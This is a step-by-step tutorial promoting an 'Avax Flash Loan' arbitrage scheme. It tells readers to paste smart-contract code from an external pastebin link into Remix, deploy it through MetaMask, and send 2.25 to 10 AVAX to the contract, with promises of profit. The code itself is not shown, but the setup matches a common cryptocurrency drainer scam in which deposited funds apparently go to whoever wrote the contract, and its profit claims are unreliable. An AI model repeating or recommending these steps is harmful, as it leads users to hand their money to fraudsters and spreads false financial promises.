Avax Flash Loan is a financial service available on the Avalanche blockchain that allows users to quickly borrow and repay Avax (the native cryptocurrency of the Avalanche network) in a single transaction without needing to provide collateral. By utilizing smart contracts, Avax Flash Loan enables users to access a significant pool of funds for various purposes, such as arbitrage, liquidations, or taking advantage of time-sensitive market opportunities.
Step By Step Tutorial for Flash Loan:
1. Get the Metamask Extension for your browser
2. Open 👉https://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file avaxArbitrage.sol and paste the Flash Loan Smart Contract Code link below.
👉 Smart Contract Code Link –
https://pastebin.com/raw/czW9YxvT
5. Click on the “Solidity Compiler” and set the compiler version to 0.5.0
6. Click on the Solidity Compiler and then click the blue button “Compile avaxArbitrage.sol”
7. Wait for the code to compile.
8. Click on Deploy & Run transactions and set “ENVIRONMENT” to (Injected Web3) OR (Injected Provider – MetaMask).
9. Connect your MetaMask wallet.
10. Click the arrow down on the “CONTRACT” and select “InitiateFlashLoan – avaxArbitrage.sol”
11. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
12. 👉On “_TOKENNAME” MyToken
13. 👉On “_TOKENSYMBOL” TOK
14. 👉On “_LOANAMOUNT” 200
15. Click Transact and confirm the transaction in MetaMask.
16. Wait for the transaction to confirm.
17. Copy the address of the newly deployed contract.
18. Send AVAX to the deployed contract to initiate the swap 2.25 AVAX (10 AVAX up is better as you will get a bigger amount in each swap)
➡️ NOTE: UPDATED GAS AMOUNT FEE REQUIREMENT: 2.25 AVAX – 10 AVAX is required to perform arbitrage successfully depending on gwei.
19. Wait for the transaction to confirm.
20. Now, Click “flashloan” (red box) to execute the Flash Loan.
21. Confirm the transaction in MetaMask and wait for the confirmation.
22. You can now check your wallet
Note: if it doesn’t work with 2.25 AVAX try to send another 2.25 AVAX (10 is better), because fees may be different from day to day. (2.25 AVAX for each 200 AVAX you are borrowing)
Avoid using very low amounts as contract may fail below 2.25 AVAX
Make sure to transfer your Funds out to another wallet when you’re done.
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